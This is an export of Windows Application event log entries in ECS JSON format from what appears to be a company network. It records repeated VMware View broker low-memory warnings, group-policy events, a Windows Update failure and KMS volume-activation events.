{"@timestamp":1649421340888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168522}}
{"@timestamp":1649425494424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Apr 08 15:44:54 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168523}}
{"@timestamp":1649427283166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4651","8024000b","F976DB44-79C2-432A-A7F5-E919DDE1348A","Install","200","0","8024000b","Windows Defender","{9482F4B4-E343-43B6-B170-9A65BC822C77}","0","","","","0","3bce0604-b746-11ec-b81b-a42a1676f0c6","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":168524}}
{"@timestamp":1649468698783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Apr 09 03:44:58 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168525}}
{"@timestamp":1649483273633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168526}}
{"@timestamp":1649511902901,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Apr 09 15:45:02 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168527}}
{"@timestamp":1649544846681,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168528}}
{"@timestamp":1649555106921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Apr 10 03:45:06 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168529}}
{"@timestamp":1649598310938,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Apr 10 15:45:10 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168530}}
{"@timestamp":1649602518275,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168531}}
{"@timestamp":1649641514908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Apr 11 03:45:14 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168532}}
{"@timestamp":1649662771085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168533}}
{"@timestamp":1649684718980,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Apr 11 15:45:18 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168534}}
{"@timestamp":1649722123656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168535}}
{"@timestamp":1649727923096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Apr 12 03:45:23 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168536}}
{"@timestamp":1649771127129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Apr 12 15:45:27 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168537}}
{"@timestamp":1649782676361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168538}}
{"@timestamp":1649814331182,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Apr 13 03:45:31 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168539}}
{"@timestamp":1649843769139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168540}}
{"@timestamp":1649857535166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Apr 13 15:45:35 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168541}}
{"@timestamp":1649863129493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/10/03:15:18:49;LastConsumptionReason=0x4004f040;LastNotificationId=VolumeRenewalRequired;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=502ff3ba-669a-4674-bbb1-601f34a3b968;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168542}}
{"@timestamp":1649863129938,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12288,"custom_data":{"EventData":{"Binary":"00000600E8277AB6B63D0D8CC64637843156678FD5D0FCE9418088419AE99B6F995E19E8CA6A3EC5CDDA75FCEAC91267D30122BFD854F4967CAC304B1DCF593AAB76AA0E9B626165C6C959DB2315775701A82CFB1AF7FF3D5FED98B93E48F661A37AFD332D5E7538DD44BBFDAD06357ACBF288B352EA290798A5F89BC6604EB1306A4633C1D2F8CDC8254B738C8661DFE43C95E891019775C167BFC2A58B6A6254B07074FFA8204EAA161801386E6215790E450AA8278934E13DF3013633E01899B5F0FE6F81B202A77E7BED1CAB8914FFE102163D29D5EC9CB8F623ECE8EA80BEA0EE8EC41C5E20063D650361B3FB72924EE9AA5593D1E03BE9E8E12BA387E0D1DCEEE5","Data":{"#text":["0x00000000, 0x00000000, eng-infrasrv101.engineering-ac.de:1688, 66fdcf75-989c-462d-9cda-ff5474d65922, 2022/04/13 15:18, 0, 1, 249120, 21c56779-b449-4d20-adfc-eece0e1ad74b, 5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168543}}
{"@timestamp":1649863130067,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12289,"custom_data":{"EventData":{"Binary":"00000600822E656F7AC32E79609023ED89EA5616B96151378FD62BC3C99CD102535F2542DD9AE359B315DCCAB9A95C0BB79C3BC5869B3F516CB9AFF4D4E331018FDF44007F489376F9978DC91F88FE448544DAA01FA185F7C644E4514CAFF2B055312CBB681E4C4C1E571B366C84F3432E1B4068D1A541375A73A3EE3A5B83D07A40BAB5F98424574DC90B42B1D89CC9344443250B859CEE70E2EA2208091D83789DA99A20FBF6B3A0E70751F991E451D223C32691D5230488DE7C9E7ACC45A583C5445AAC712394E45BD1E1009A1358B33CD661FAC31F1550D1B095B360CC6F912D11BE29CFAD0E817F274AD3184EF35D8FDB58FBD0B773A370C55E5C3ABF08A51F9679","Data":{"#text":["0x00000000, 0x00000000, 1, 0, 50, 120, 10080, 2022/04/13 15:18"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168544}}
{"@timestamp":1649863130206,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168545}}
{"@timestamp":1649863130208,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168546}}
{"@timestamp":1649863130210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168547}}
{"@timestamp":1649863130268,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168548}}
{"@timestamp":1649863130479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168549}}
{"@timestamp":1649863130502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=502ff3ba-669a-4674-bbb1-601f34a3b968;Action=AutoActivateSilent;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;NotificationInterval=1440;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168550}}
{"@timestamp":1649863130659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/10/10:15:18:50;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168551}}
{"@timestamp":1649863130686,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=379cccfb-d4e0-48fe-b0f2-0136097be147;Action=CleanupState;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168552}}
{"@timestamp":1649863160716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-04-20T15:18:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168553}}
{"@timestamp":1649900739284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Apr 14 03:45:39 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168554}}
{"@timestamp":1649906962243,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168555}}
{"@timestamp":1649943943183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Apr 14 15:45:43 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168556}}
{"@timestamp":1649969494932,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168557}}
{"@timestamp":1649987147201,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Apr 15 03:45:47 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168558}}
{"@timestamp":1650029687596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168559}}
{"@timestamp":1650030351296,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Apr 15 15:45:51 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168560}}
{"@timestamp":1650073555268,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Apr 16 03:45:55 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168561}}
{"@timestamp":1650091020328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168562}}
{"@timestamp":1650116759323,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Apr 16 15:45:59 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168563}}
{"@timestamp":1650153013011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168564}}
{"@timestamp":1650159963330,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Apr 17 03:46:03 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168565}}
{"@timestamp":1650203167352,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Apr 17 15:46:07 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168566}}
{"@timestamp":1650213745735,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168567}}
